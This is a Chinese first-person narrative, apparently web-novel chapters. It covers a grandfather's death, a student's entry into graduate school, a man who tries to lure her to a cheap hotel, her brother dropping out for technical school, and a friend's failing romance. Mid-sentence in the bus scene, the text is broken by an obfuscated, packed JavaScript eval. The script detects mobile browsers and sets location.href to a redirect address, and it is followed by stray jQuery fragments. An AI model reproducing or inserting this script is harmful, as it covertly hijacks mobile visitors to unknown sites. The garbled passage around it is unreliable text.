可是我爷爷死得很可怜,他死的时候,没有一个亲人在他的身边。唯一记得他的,是他侍候过的土地。家东菜园里,豆角开出紫色的花来,黄白色的蝴蝶没头没脑地飞着。娇嫩的萝卜花笑嘻嘻地开着。韭菜拖着她们翠绿的裙子,横着竖着的田畦懒洋洋地躺着,围墙上的石头还在整整齐齐地簇拥着。她们以为爷爷还会来伺候她们。他会来给那韭菜撒上一粪簊子的草灰,他会去家东的大井里挑水,给那豆橛子浇上几舀子水。他会挪开那围墙上的一块石头,让它过去一点,使整个队伍看起来更严整更美观。她们以为爷爷还会来。她们不知道爷爷再也不会来。她们会一直盼着爷爷来。 等到豆橛子结了一串串长长的豆角,爷爷也不会来摘了,等到韭菜从翠绿再到开出来一串串韭菜花来,爷爷也不来割了。等到豆橛子干在豆角架上,韭菜变成了一丛黄草。等到围墙哗啦啦倒下,等到大雨把菜园里的黄土一层一层地冲刷。爷爷再也不会来了。爷爷没有了,家东的小菜园也快没有了。他们会一起从荆堂消失,埋入深深的黄土。 这一切看起来又都是对的。万物本来就应该是这样的。 西岭的山芋秧子在晨风里挥舞着青的紫的叶子,山芋地里长出来青青的草。在以后的适合干活儿的清晨,不会再有一个老头儿,戴着席甲子,来西岭上翻山芋秧子了。 “嘿!这是宋金平的地,你看看,草长得多高了。老东西死了,不能来翻山芋秧子喽!”荆堂的人路过他的地,一定会这样说。 南大地里的玉米长得多高,眼见着要掰玉米了,可是这一茬玉米,我爷爷他不会再来收了。秋天很快就会到来,谁去掰他种的玉米?谁去刨他种的山芋?是我二爷爷家?还是我二姑家?父死女继,应该是我二姑去刨他种的山芋吧,还有我二姑夫。 二姑夫肯定是边刨边骂:“老东西,不是人,死了还得给我添麻烦。留着山芋给我刨!” 我爷爷家里还有几个高桌子矮板凳,还有几个大缸、条几,这些家伙什儿又该归谁呢?不管是给我二姑、二姑夫,还是归我二爷爷家,总之,在他们的眼里,这个祸害是死了。 唯一可以肯定的是,石塱里我的老爷爷、老奶奶会去接他,我的爸爸也会去接他,他们一家子终会团聚在一起。他也许会在月明星稀的夜里,去看看他的屋,他的地,他的山芋,他的玉米,去看看这终将逝去的村庄。他亲手种的这季粮食,他没有吃上,这是不是很让人悲伤?不过没关系,人死后,总会留下一些粮食没来得及吃,有人还会留下良田万顷,娇妻美姬。相比之下,他只留下了两间茅屋,和一个跟他早就水火不容的老妻,如此说来,他留在世间的遗憾实在不值一提。 我要去学校看看联系导师的事了。我背着一个大大的黑色的双肩包,到了余洲师范大学里头,打听到研究生处所在的那栋楼,走了上去。我本来是想跟研究生招生处的老师打听点东西的,但是人家那负责人也没有给我提供什么有价值的信息,只给我向后指了指,让我去文学院看看。那人旁边站着一个人,手里在忙着找资料还是干什么,我不太清楚,我也不清楚他是谁,我还以为他也是研究生招生处的负责人。我就背着我的大背包下楼去,朝后面的文学院走去。 暑假里,人不多,我听到背后有人跟着我走来,回头一看,就是刚才在研究生招生处看到的那个人,有三十岁左右,脸上挂着笑。 我感觉他对我有些善意,就跟他打招呼说:“老师,您好。您也去文学院吗?” 他说:“是的。但我不是这里的老师,我也是来这里读研的,我是教育硕士,已经上班了,在县里教初中,你就叫我师兄吧。” 我说:“好的。师兄,那您知不知道,文学院都有哪些导师啊?” 他说:“我们找个地方坐下聊吧。” 我说:“好的。师兄你贵姓啊?” 他说:“我姓王。”我在这个大学举目无亲,正想找个常在里头的人来问问,我太愿意跟他聊聊了。我们坐在文学院前头一丛青藤簇拥的长凳上。他耐心地给我讲解了起来。 他问我说:“你想报考哪一块儿?” 我说:“中国古代文学,我对古代文学比较感兴趣。” 他告诉我说:“古代文学这一块,文学院的钱教授比较德高望重。你可以报考他的研究生,成为他的弟子,他是一个很和蔼的小老头,还有几年就要退休了。” 我说:“那好吧。” 他说:“你以后跟他联系的时候要多恭维恭维他。你就说,听说您在古代文学这一块造诣很深。哈!学富五车啊,才高八斗啊。反正是这些吹捧他的话。” 我说:“好的,谢谢师兄指点。这个我知道。” 他说:“我们现在去文学院看看吧,文学院都有他们的照片的。” 我跟他一起到了文学院,暑假里,文学院里连一只苍蝇都没有。我心里明白过来,这个师兄就是故意尾随我的。但是,我正好急切地想认识一个人来给我指路,所以我对他的尾随心存感激。 导师办公室外面的展览墙上,贴着好几个导师的照片和简介,我看到了他跟我说的钱老师。钱老师的确是鹤发童颜,慈眉善目,稳重庄严,我一下子就喜欢上了这个导师。 我说:“那我就报考钱老师的研究生吧。师兄,您知道他的联系方式吗?” 师兄说:“我不知道。我们互相留个联系方式,回头我帮你打听打听。”我非常开心,就记下了他的电话号码,跟师兄道了别,开心地走了。 我回到我的大学以后,我就开始跟王师兄打电话,写信,问他有没有打听到钱老师的联系方式。他就客客气气跟我说,他一直忙着呢,还没有打听到。因为导师的电话不能乱给别人的,所以他从研究生处的老师那里也没有打听到。 我决定自己再去网上查查。我突然在一个空间里看到了一个曾经在那所学校读书的一个叫解宏伟的师兄的联系方式。我就加了他的好友,跟他说了我想麻烦他帮我打听导师的事。他很快回复了,接着又很快帮我问到了钱老师的电话号码。 3.贫困补助 大四了,跟我一起准备考研的孙颖要申请住地下室,我也决定跟她一起去申请。地下室床位少,肃静,只要很少的钱。其他很多同学因为实习,不经常在校住,也申请了住地下室。宿管老师有三十出头,斯文帅气,沉稳大气,他这些年对我们这些有志于学的女孩子也有所了解,我们去他办公室,他安静地坐着,我们简单说明了来意,他询问了几句就批准了。 地下室里是白色的墙壁,青色的暖气管,和“嗡嗡”作响的暖气管的声音。上厕所、洗刷要去楼上。这些对我们来说都没有问题。 大四的冬天,我考研结束了。第二年的春天,四月初,我去考研的学校参加面试,我的笔试成绩是第一,我的面试成绩是第四。我们到研究生处排队领录取通知书。很多人,跟排队买菜一样。我就这样考上了研究生。 回到家以后,我心里倒是没什么多大的波澜。我妈妈像是黑暗中看到了一丝光亮一般,她用清亮的声音跟我妹妹说:“笑笑,恁大姐考上研究生了!我去烧锅了哈!我添几舀子水啊?我添五舀子水。咱四口人儿,添五舀子水就行了。一人一舀儿,再多添一舀儿。” 我再返回大学校园的时候已经是五月初了,同学们忙着实习,找工作,没有多久就要各奔东西了。我因为考上了研,正是闲着没事干。 一天,我的一个老乡吴风来找到了我。 吴风长着素净的面皮,单眼皮,薄薄的大大的嘴唇,裂开嘴一笑,露出洁白的牙齿,两边各有一颗虎牙,显得他大大咧咧的。他生得高高大大,清清瘦瘦。看到他,让人想起山上的清风,和山谷的的溪流。他的女朋友也是一脸喜笑,长脸饱满如月,光光洁洁,温温润润。他们两个在一起就是青山拥梅,青峰映霞,璧人如画。 他跟我说:“你的贫困补助下来了,当时你不在,是秋颖代领的,她告诉你了没有?”我说:“没有啊,我不知道。”他说:“快毕业了。你赶紧去找她。她现在谈恋爱了,别给你花光了。”他说完就走了。 吴风这个人平时就很好,他前几年就跟低我们一级的小师妹梅霞谈了恋爱。他们是在老乡会上认识的。我跟他们也是老乡,但是老乡会的时候我没有去。鄙人粗陋笨拙,又贫穷寒酸,哪有心情参加这样冠冕堂皇的盛宴。我也不喜欢外交场合,我不想去。 过了几天,吴风的女朋友梅霞也来跟我说:“你的贫困补助下来了,在秋颖那里。你知道吗?” 我说:“吴风前几天告诉我了。我还没有去问呢。谢谢你们。” 梅霞说:“你赶紧去吧。该是谁的就是谁的。你可不要说是我们说的。” 我说:“好的。” 一天晚上,我去了秋颖所住的地方。她住在我后面一栋楼的地下室,我顺着地下室曲曲弯弯的路,来到了她的宿舍。那里人才济济,高床林立,同样是曲曲折折。我看到了孙颖,她正忙着跟她旁边的女孩子说话,没工夫看到我这边。 我看到了秋颖。她看到我,连忙从架子床上爬了下来。我悄悄跟她说:“秋颖,我听说我的贫困补助下来了,在你这里。” 她说:“噢,是的。我最近谈恋爱了,花了不少钱,我马上让我爸爸打钱过来,然后我再给你。” 我说:“好的。不急。” 秋颖不错,还没有失言,她如果给我来个拖字诀,一直拖到毕业,我还真地不知道该怎么办。 快毕业的时候,不知道秋颖怎么又跟之前的那个王飞谈了恋爱。是的,之前,王飞追过她,只不过,那次是他跟同宿舍的人打赌的。后来,他又跟别的姑娘谈了。直到他跟原先的那个姑娘分了,秋颖这边才接上了茬儿。 谈了恋爱的秋颖更加会撒娇了,王飞来得迟了,她就蹲在地上,用一只胳膊挡着眼睛和脸,“啊呜啊呜”地不起来,让王飞哄着她把她扶起来。 你还别说,男人还真吃这一套。男人和女人毕竟是不同的物种。很多女人看了嗲嗲的举动觉得膈应,但是在男人那里却非常奏效。她们的恋情很稳定。 其实,在我看来,王飞笑面玲珑,深刻精明,也不是什么好鸟。秋颖其实本来可以找更老实、厚道一点的男人的,不知道怎么跟了他了。但是,外表憨厚的秋颖其实也不像她表面上那么憨厚。外表憨厚的她靠着撒娇发嗲降服了这个浪子,这在某种程度上来说,其实也就对了味儿了。 说到这儿,我想到了我认识的另一个人,她们俩的气质有些符合。都是不善言语的憨厚的颜值,男人一样的黑黑的浓浓的眉毛,但是她们却有着和她们的外貌截然不同的细声细气的好嗓子,和柔柔弱弱的样子,以及唯唯诺诺娇娇嗲嗲的好本事。 我仔细想了想,嗲嗲的声音对人,尤其是对雌性来说,确实是个好东西。譬如一头驴子,有了嗲嗲的声音,那么它的引吭高歌也变得“呦呦鹿鸣”般清婉可人;譬如一只乌鸦,有了黄莺般的声音,那么它的鸣叫也可以“间关莺语花底滑”了,它的乌黑的羽毛仿佛也没有那么让人觉得丧气了;譬如一头野猪,有了兔子一样的声音,也会让人有那么一瞬间,觉得它像是一只玉兔那么温顺,从而,也就有了冲动,想像抱一只兔子一般,把这头野猪抱在怀里了。 4.师哥 研一刚开始没多少日子,那个主动帮助我的县里的王师兄来了。我当时算得上惊喜,我说:“师兄,你怎么来了?” 他说:“我是来继续教育学习的。又要上班,又要修改论文。也挺忙的。” 我说:“哦,那你忙吧。” 他说:“你先去上课。晚上,我请你吃顿饭。” 我说:“好啊。” 说实话,当时,我对他的感情近似于友情和爱情之间吧。我对他有些好感。他如果不是真心想骗我,而是想跟我百年好合愿意按部就班地追我的话,我是很愿意跟他谈的。或者,他骗我骗地不是那么心急,而是想放长线钓大鱼的话,我可能也会陷入他的圈套的。毕竟,我那时还是一个懵懵懂懂的小姑娘。只是,那个时候,他想搞定我还要费点时间。毕竟,那个时候,我可是正儿八经的黄花大闺女。我的身心还有一道圣洁的槛儿。呵呵!可是,他没有,他对我就是临时起意。费尽心思去骗我?他根本不想花这些个时间和精力。他像个动物一样,只想速战速决。或者,在轻而易举地骗到手以后,在他下一次过来继续教育学习的时候,再把我当个临时的垃圾桶或是公厕使用几次。然后彻底消失。去寻找下一个猎物。 对。这就是他。这就是他的真实的想法。只是,我没有他想象的那么极度的简单愚蠢和随便。说来,我对他并不了解。他有家室和孩子也未可知。 女人,不要那么高估自己在男人心目中的地位。 爱情和婚姻都需要遇到对的人。在一个好人那里,你就是宝贝。在一个骗子那里,你就是垃圾。 爱情也不一定是什么固若金汤坚不可摧的东西。它可能因为一个人一件事一句话就风雨飘摇分崩离析。 所以,爱情是什么玩意儿? 大概是晚上五六点,天已经黑了。他带我去一家小饭馆儿吃饭。当时点的是地锅鸡和小杂鱼。 “吃吧!随便吃!小杂鱼是这儿的特色!”他说。 我就老老实实地跟着他吃饭,一起说说话。我可是头一回跟男的一起这样正儿八经地吃饭。我自我感觉良好地以为他在追我呢。 吃完饭,他让我陪着他去学校对面的小宾馆开了一间房。 女老板问他说:“房间有八十的,还有五十的,你要订什么样的?” 他用家乡话说:“乌(五)市(十)的!乌(五)市(十)的!”他的家乡话很土很难听。我当时有点膈应。 女老板说:“榻榻米行吗?” 他又用家乡话说:“杏(行)!那就榻榻咪(米),榻榻咪(米)!” 我又被膈应了一下。我觉得还是老师呢,还带着个女的呢,怎么那么抠门儿啊。住宿要住那么便宜的? 老娘就是跟你开房也不跟你睡乌(五)市(十)的榻榻咪(米)呀! 呵呵!我问自己。那天,如果他订豪华的五星级酒店,你愿意吗?不愿意。我只会觉得他是有预谋的,太猥琐了。这就等同于一个肥佬儿定了一个黄金的屋子要来跟你共度良宵,你愿意吗?当然不愿意,恶心至极。 是的,咱不是拜金女。咱是一身傲骨义薄云天的独立女性。 但是,如果是与我真心爱上的人,即使是开二十块钱的简陋房间,那我也是愿意的。 我突然理解了有些被人斥责为不够洁身自好的女孩子,她们当年愿意跟自己的赤贫小男友睡八十块钱的宾馆,却在待嫁的时候要八万甚至十八万的彩礼。为什么?一个是纯纯的爱情,一个纯纯的现实。 爱情在现实面前不堪一击。现实跟纯纯的爱情不能比拟。 年少的纯纯的爱情是不需要那么多的。就像亚当和夏娃。他们只要一片伊甸园就行了。但是当他们吃了罪恶的苹果有了孩子以后,他们也需要考虑房子车子,奶粉尿不湿和拉拉裤的。 他订好房间,我们就在文学院前头的小广场上走走,看我们面前的一群人在跳舞。 我们没话找话地说着,走着。 “大省,你学车了吗?”他问我。 “没有。我晕车。我不爱坐车。”我说。我极力地表现为不那么拜金。我也确实没那么拜金。我从没想过要找一个金龟婿,我也觉得我不是那样的娇娇女,我没那么雍容华贵清新典雅,我也没那么诗情画意千娇百媚,我不配。我倒是希望我是个金龟女,可以养一个不用上班专门儿围着我转的娇娇婿。是的,我在很年轻的时候就有这种宏图伟愿了。 “呵呵。我们很多同事都买车了。”他说。他对我的没那么物欲的回答还是很满意的。其实,我觉得那时候,不是我没有买房买车的需求,是我根本没那个见识。我是穷人家的孩子。我的眼界和远见都比别人进化地晚。 “干嘛要买车啊。没必要啊。”我说。是的,那时候我还是个学生,我不知道生活中有多需要车。看,人在年轻的时候有多么幼稚。 “嗯。可以花四千块钱买个踏板摩托车。”他温和地说。 我们继续在校园里溜达着。 他艺术学院门前的花圃里卧着一个石虎。他指着那石虎说:“你知道吗,这是汉朝的石虎,你别看它打磨地不精细,你看那线条,都是汉朝的。” 我说:“是的,很朴拙。” “你别小看这石虎,很多人为它锒铛入狱。”他说。 我们就这样有一搭没一搭地说着走着。不知道为什么,这次,我从他的面相和骨相上看到了圆滑和心机。他的颧骨很圆滑,他整个的脸很圆滑。都是我不喜欢的样子。就是在那天晚上,在我们散步的时候,他在我心目中的形象已经改变了。他不再是我心目中玉树临风干干净净斯斯文文清清爽爽的样子了。 我们走到了桥下头,该原路返回了。他很机械地用原地转身的步伐跟我一起转了个身。他对我有些刻意。他心怀鬼胎。 当时是晚上,他故意搞地有点暧昧。我察觉到了他的那点意思。但我对他已经没有意思了。我从他脸庞上看到了庸俗和狡猾,尽管他装地斯斯文文的。而且,那时候,我刚刚考上研究生,心比天高。一个县里的中学老师,对我来说没什么好崇拜的。 我跟他说:“师兄,天晚了,你该回去休息了。” 他有点暧昧地说:“你不跟我一起去吗?” 我说:“我不去了。你今天晚上没什么事儿啊,那你白天怎么没回去啊?” 他奸笑着说:“我以为还有事儿呢。”我知道他说的“有事儿”是什么意思,我也不接话,就起身走了。他也去他订的宾馆那里休息了。 妈的!老娘就是跟你“有事儿”也不跟你睡乌(五)市(十)的榻榻咪(米)呀! 第二天,他要走之前,又跟我打电话,我就去了他的房间。他坐着,似乎还想再发生点什么。 “大省!”他坐在他的乌(五)市(十)的榻榻咪(米)上,假装着情意绵绵地跟我说。 他穿着白衬衣,黑裤子,黑皮鞋。一身在职白领的打扮。他不知道,我看见这么庸俗圆滑的一个他坐在乌(五)市(十)的榻榻咪(米)上,我对他的那点儿对“师哥”这种斯文败类的天然的崇拜,早已经消失地无影无踪了。 一个男人,也不要高估自己在女人眼里的地位。你不知道,你在自我感觉良好地故作姿态的时候,在对方的哈哈镜里,你是怎样滑稽又可鄙的一个熊样子。 我催他说:“师兄,你收拾好了就走吧。” 他见我无意,就站起身。准备滚球。我跟他一起走到公交站台,看着他上了车,目送他离开,我才走开。这以后,他就没有再联系我,我也没有再联系他。 我想起来他当初尾随我的事,也许,从一开始,他的热情里面,就夹杂着一丝狡猾甚至恶毒。一个小白兔在社会上行走是多么可怕。这社会如同一个森林,有狡猾的狐狸,还有恶毒的大灰狼。狡猾的狐狸为了达到伤害你的目的,还会假装文明和友善,在你身上费一番时间跟心机。可是大灰狼呢,它连任何时间跟心思都懒地花费,就想置你于死地。 暑假里,我弟弟中考结束了,他考上了山东的一个高中,但是他不想上学了。 “恁弟弟不想上学了,你看怎么办?”我妈妈说,“我也没有办法,我又不能硬逼他。他说的,再让他上学,他宁肯去死。” 我问我弟弟:“你真的不想上学了?” 我弟弟说:“是的。我实在上不下去了。我上学上地够够的。” 我妈妈还是不甘心:“恁姊妹三个,我都是一样供的,恁上到哪儿,我供恁到哪。鸿雁跟笑笑不争气,你能怎么办?恁大姐读研,人家考的公费,人家每个月还有二百块钱的补贴。父母供你上学,不怕花钱,难得是你能上出来。我巴不得鸿雁能好好上呢,你上出来工作也好找,对象也好找,省我多少事。你现在上个半吊子,以后找工作不好找,找对象也不好找,我还得再给你花钱。” 我弟弟说:“我上不下去了。人家跟我班大的都结婚了,孩子都跟我喊大爷了。” “那你打算干什么?”我问他。 “我想上个技校。”他说。 “你不后悔吗?”我说。 “不后悔。我实在不想上了。人家的孩子都能打酱油了。我再浪费三年也没意思。姐,你帮我找个技校吧。”他说。 我说:“那咱去青羊山网吧去查查吧。我也不知道哪个技校好。” 我跟我弟弟一起去了青羊山镇上的一个网吧,我帮他查了一个市里的工程学校。看好了报名的日子,我就跟我弟弟一起去那个学校,给他报了名。 那是一个夏天,我跟我弟弟一大早坐公交车历经两个小时到了市里。那所学校坐落在一个村子里。一进村庄,就看到扯在树枝上的大红横幅:“余洲市工程学校欢迎你!” 我们到了报名的地方,负责接待的老师说:“你们带户口本儿了吗?报名要交户口本复印件。” 我说:“啊?我们不知道!没带!那我们还得回家带去啊?” 我和弟弟又坐车两个小时回到家,拿上户口本儿,再坐车两个小时到了报名的学校。 等我们终于报上名,再坐车往家赶。那时候,我们已经很累很累了。我们坐在返程的公交车上。一个打扮地干净利落的四五十岁左右的中年大妈优哉游哉地上车了。我弟弟赶紧起身儿给她让座儿。那个打扮地漂漂亮亮出来闲逛的女人愉快地接受了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137800|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢!”她笑着说完,一屁股坐下了。剩下我弟弟在那里站着。 我弟弟他是善良的! 但是那天,我们来回坐车,往返数次,实在是太累了。 我亲手把我弟弟送进了技校,想起这件事,我的心还是会隐隐作痛,我一遍遍地问我自己,是不是我害了我弟弟。如果当初,我跟我妈妈再坚持一下,再好好劝劝他。他会不会继续上他的高中,会不会能够上一个好一点的大学,会不会就能找个好一点的工作。为什么当时我们没有坚持。 可是当时有当时的形势。当时的形势就是,我弟弟他自己实在不想上学了。我跟我妈妈都没办法继续劝他了。这是我唯一聊以自我开解的地方。可是,如果当时,我跟我妈妈,或者我弟弟,能再坚持一下呢?我弟弟的未来是不是就能好一些?我觉得答案是肯定的。 不同的选择决定了不同的命运。可是,我弟弟的性格,也确实不够踏实。这么多年来,他确实不像我那么有毅力。他面对我们家那样不堪的境遇,没有我那样还能咬着牙忍常人所不能忍地坚持下去。所以,我弟弟的辍学,跟我们的家庭环境有很大的关系。如果是我爸爸在,如果他能够有一个圆满的家庭,有一个温暖的父亲,有一个自信的心态,他也许就不会这样沉沦下去。 在我弟弟上不好学这件事上,我们的家庭环境有很大的责任。 5.华青 文学院请来了戏曲老师,带着琴师,来教我们唱戏曲了。我们一群人坐在台下跟着老师唱: “苏三离了洪洞县,将身来在大街前。未曾开言我心内惨,过往的君子听我言。 哪一位去往南京转,与我那三郎把信传。言说苏三把命断,来生变犬马我当报还。” “提篮小卖拾煤渣,担水劈柴也靠她。里里外外一把手,穷人的孩子早当家。栽什么树苗结什么果,撒什么种子开什么花。” “我家的表叔数不清,没有大事不登门。虽说是虽说是亲眷又不相认,可他比亲眷还要亲。 爹爹和奶奶齐声唤亲人,这里的奥妙我也能猜出几分。他们和爹爹都一样,都有一颗红亮的心。” 大家一起唱,我也有口无心地跟着唱。华青坐在我旁边也认真地唱。其实,我觉得华青这个人有些古板。她并不适合唱歌。但是她唱地很认真,比我认真多了。 我跟华青走地比较近。华青是陕西师范大学毕业的,说明她上学的时候成绩很好,比我要厉害地多。华青个子不高,身材比我要纤瘦,皮肤谈不上很白,但是她的忽闪着大眼睛的小巧的脸上,透着中国女孩子的甜美亲切。我跟华青经常一起上课一起回宿舍一起吃饭。 有一次,我们坐在食堂的不锈钢桌子上,华青打开一个饭盒跟我说:“我回家了。这是我自己炒地菜,我们一起吃吧。” 我问她:“你炒地什么菜啊?” “胡萝卜炒肉。”她说,“呐,给你一点。”她拿起饭盒和筷子往我碗里拨着胡萝卜。菜已经凉了。胡萝卜里有几个肉丁。我其实没吃过胡萝卜炒肉。但是这个不重要,重要的是,此时此刻,她真的像个姐姐。 华青对我很好,她家在郊区的一个镇上,条件比我家要好得多。 我们在食堂吃完饭,一起走在回宿舍的路上。华青买了两个南瓜饼,给我一个,她自己一个。 我们慢悠悠地走在回宿舍的路上。华青吃完了手里的南瓜饼,对着空气大声地说:“好好吃啊!”她是一个看起来很温柔很老实,但是并不矫情造作的女孩子,也是一个很真实很直白的女孩子。 晚上,我们一起在操场上慢慢地走着。 华青问我:“你有多高?来,给我看看,有我高吗?”她让我站直,站在她跟前,她抬起眉毛仔细地看着我的身高。 “没有我高!”她说。 其实我觉得我比华青高也比华青魁梧。但是,看着她认真的样子,我就不跟她争个高高低低了。夜色中,华青很像我的姐姐,她的身上有姐姐的味道。 我问华青:“华青,你上大学的时候谈过恋爱吗?” “没有,以前有一个男孩子追我,我当时不喜欢他,就给拒绝了。”她蹲在地上说。 我以为既然是拒绝了,那就没什么好遗憾的。但是华青居然是一副很遗憾的样子。 “哎呀!到手的鸭子给飞了!到嘴里的肥肉给飞了!”她蹲在地上说。 有好事者给华青介绍了个对象。对方是研二的师兄。 华青见面的那天晚上,我跟她一块儿在自习室看书。不一会儿,外面有人来了,华青出去了。我隐约看到一个中等身材的男生,有些秃顶,跟华青打着招呼朝华青走去。那个男人我听华青说过,叫余浩,正准备考博。我突然觉得这种介绍的恋爱没多大意思。介绍人在一群姐妹中间随便拉一个人指派给那个男人,那男人觉得差不多便也欣然接受,其实如果换做另一个人,他也能接受。这种开始还有什么意思。华青这个人并不妖娆,如果换做另一个更加妖娆的女子,那师兄肯定会更加满意更加欣喜。这样想着,我更加觉得华青这桩情事没有多大的意思了。 但是他们顺理成章地恋爱了。这以后华青就经常跟余浩约会,我们两个就不像以前那样形影不离了。后来,华青说她们两个要请我吃饭。作为小姨子,我也就愉快地接受了。华青跟余浩感情很好,两个人饭桌上几乎是全程手牵着手。华青像个姐姐一样招呼我吃饭,余浩像个沉稳的姐夫一样看着我们吃饭。 有一次,我们一起去图书馆的时候,华青说:“昨天我去余浩家吃饭,给他姐姐的小孩买了六十多块钱的玩具。他姐姐居然说,‘啊呀,这种玩具会不会有毒啊。’可气死我了。早知道我就不给她买了。” 我说:“就是的,六十多块钱呢,我们一个月的生活补助才二百块钱,六十块钱是我们多少天的生活费了。” 华青说:“余浩的姐姐是三中的老师,姐夫是博士,余浩一家有点看不起人。” 我说:“博士有什么了不起。我们也可以考啊。我还不稀罕考呢。” 华青说:“余浩妈妈说了,让余浩想好了,我都二十八了。余浩要么负责到底,要么不要谈。唉!我现在跟余浩一起一点都不开心。” 我问她:“余浩是什么态度呢?” 她说:“余浩拗不过他家人,他怕他妈妈,怕他姐姐。他跟我说,他现在专心考博,等他考上了,他就有底气了。” 我说:“你们两个确实也有困难,他考上博以后就走了,你还在这里。” 华青说:“我不想考博,我毕业了就当个中学老师。” 我说:“嗯,我也不想考。我读书读够了,不想看书了。” 华青说:“我背上生疮了,胀地好疼啊。我是不是要去医院找医生开刀啊?” 我说:“我帮你看看。” 我掀开她背上的衣服一看,原来是个小脓疮。 我说:“是个小脓包,都鼓脓了,熟透了。” 华青说:“啊,那怎么办呀?” 我说:“你别害怕,你去我宿舍吧,我来给你挤掉。” 她问我说:“你会挤吗?” 我说:“会。这样的脓包、疖子,我从小就会挤。” 她说:“你真的会挤啊。” 我说:“我会。这点小事儿!” 我们就到了我的宿舍,我让华青把衣服撩到背上,她背对着我站着,我来给她挤脓疮。 我使劲儿一挤,“嗞”地一下,那些爆汁的脓液呲出来,溅了我一脸。 华青说:“是不是弄到你身上了?哎呀,不好意思。” 我说:“没关系,我又不嫌弃你。我再帮你挤挤,里面还不干净呢。” 我帮她挤完,给她擦干净,华青才回到她自己的宿舍去。我们的友情已经到了很好的程度。 有一天,我在去图书馆的路上遇到了余浩。 “大省!”余浩叫我说。 “咦?华青呢?”我问他。 “她回老家了。”他说。 “哦。她又回老家了?我都不知道。她之前有一次回老家,还带她炒的菜给我吃呢。”我说。 “华青对你那么好?”余浩说。 “嗯。华青对我跟姐姐一样,我很喜欢华青。她不像别的女孩子那么妖娆,但是她实在,真诚。她很单纯。” 余浩低着头不说话。 他问我说:“你觉得华青单纯吗?” 我说:“是啊。她在我心里,就是一个特别朴实,没有心眼儿的好姐姐啊。” 他说:“其实她在跟我之前,就不是处女了。” 我说:“啊?你是怎么知道的。你们在一起了啊?” 余浩说:“对。华青没有告诉你吗?” 我说:“没有。我还以为,她那么单纯,你们还没有在一起呢。” 我想起当时在操场上,华青说的到嘴的肥肉给飞了的话,华青的第一次是跟谁呢,也许就是跟那块飞了的“肥肉”? 毕竟那时候还年轻,我们对在一起这种事情都觉得是件大事儿。我忍不住问余浩:“你们什么时候在一起的?” 他说:“交往了一个月以后。” 我说:“在哪里啊?” 他说:“在我家。” 我说:“她那么老实,肯定是你骗她的。” 余浩认真地说:“不对,是她勾引我的。”他用了“勾引”这个词,我觉得他的口气里对华青主动这件事还是有些轻视的。我们心里都不是滋味儿,咂摸着不是处女这件事儿。毕竟当时都还年轻,都觉得不是处女确实是个事儿。 余浩说:“其实,我觉得非处也分级的。有的跟前任就几次,那相比之下,情节就会轻很多。”我对他的说法也表示赞同。但是对这事儿总觉得心里疙疙瘩瘩的。我不说话,感慨华青经历之不顺,既然早就不是处女,那余浩对她心里也是有些意难平,他们以后的感情之路会不会一帆风顺,这些,都不由得让人担心。 余浩说:“其实,你蛮单纯的。我第一眼看到你,就看出来了。” 我说:“是吗?” 余浩说:“你知道《聊斋志异》里的娇娜吗?” 我说:“知道啊。” 他说:“你就是我的娇娜。” 我说:“我没有那么美好,我也不愿意做谁的娇娜。华青才是你该一心一意对待的人。” 余浩说:“华青有你这样的朋友,真是太幸运了。” 我说:“那当然啊。华青是我的好姐姐嘛。” 余浩说:“今天的话,你千万不要告诉华青。” 我说:“你放心,我不会告诉她的。” 我们就在校园里边走边聊。学校的墙壁上绕着青青的藤蔓。说心里话,我对于余浩,真的不喜欢,他的秃顶下面是万绿丛中几点红的脸,他的脸像是不规则的锐角三角形,他的钝角三角形的小眼睛眯缝着,他的皮肤很白,这恰恰是我讨厌的这种脸上不该有的白,还泛着亮光。但是,我不得不承认,余浩聊天的本事很大,他人长得虽然不怎么样,但是,他跟人说话的时候,不急不慢,又心事重重,空气里仿佛弥漫着感情的因子,仿佛他是你在这世上最知心的人,又仿佛他是一个诗人。我承认,我的确有点喜欢跟他说话的那种感觉。 这件事我一直没有跟华青说。 快到八月十五的时候,我跟我妈妈打电话。 我说:“妈,马上就是八月十五了。俺就要放假了。” “你放假别回来了。你省点儿车费,留着买点东西吃吃。你来来回回,浪费那个钱干什么。过不了几天又走了。”我妈妈说。 “我不回来干什么啊,我去哪儿啊?”我不高兴地说。 “那,你想回来就回来哎。谁不让你回来的?俺是说的,怕你花钱。你省下来的车费,留着你自己花花不好吗?”我妈妈说。 “车费有多少钱?我自己每个月还有二百块钱的补贴。人家父母都是盼着小孩儿回家。你好!你都是不让我回家。一点儿亲情都没有!”我说。 “你回来回来呗。俺是说的,回来没什么意思。我是好心。”我妈妈说。 “那放假了人家都回家了,我不回来。我去哪啊?!以前上大学不回来,那是离家远。现在离得那么近,还是不让回来。咱家的小孩儿,从小就缺爱,一点儿家庭的温暖都没有。以后谈恋爱结了婚,都拿对象当命!都是不撞南墙不回头!”我说。 不久后的中秋节,我回家了,我回家帮我妈妈栽蒜,手机不带在身边。栽蒜很累,每天在地里蹲着,爬着。我妹妹看看我说:“大姐,栽蒜累吧?你看看你,这几天帮着咱妈栽蒜,你的大肚子都蹲地没有了。” 当我回到家,闲下来看手机的时候,看到了华青好几个未接电话,我就赶紧给她打过去。 华青哭着跟我说:“大省,你这两天去哪里了啊。我就只剩一口气了。” 我说:“华青,你怎么了?我在家里帮着我妈干活儿呢,我指甲壳儿里都是泥。我都几天没洗澡没洗头了。” 她说:“余浩要跟我分手。她说我跟程伟有问题。你要给我作证啊。我什么时候跟程伟有问题的?” 我说:“是啊。你跟程伟有什么问题啊?” 华青说:“我请了咱班其他同学来作证,就你不在。你可要给我作证啊。” 我说:“华青,你请她们给你作证,余浩相信吗?他要是相信你,就根本不会跟你来这一出。他要是不相信你,你请那么多人给你作证也没有用。我觉得他就是听信他家人的话,想跟你分手了。” 华青说:“怎么办,我现在真地受不了他这样对我。他不肯见我了。” 我说:“他怎么这样绝情。那你也不要再想他。” 华青说:“不行啊,我做不到啊。我觉得我快要死了。” 我说:“那怎么办呢?你还能见到他吗?” 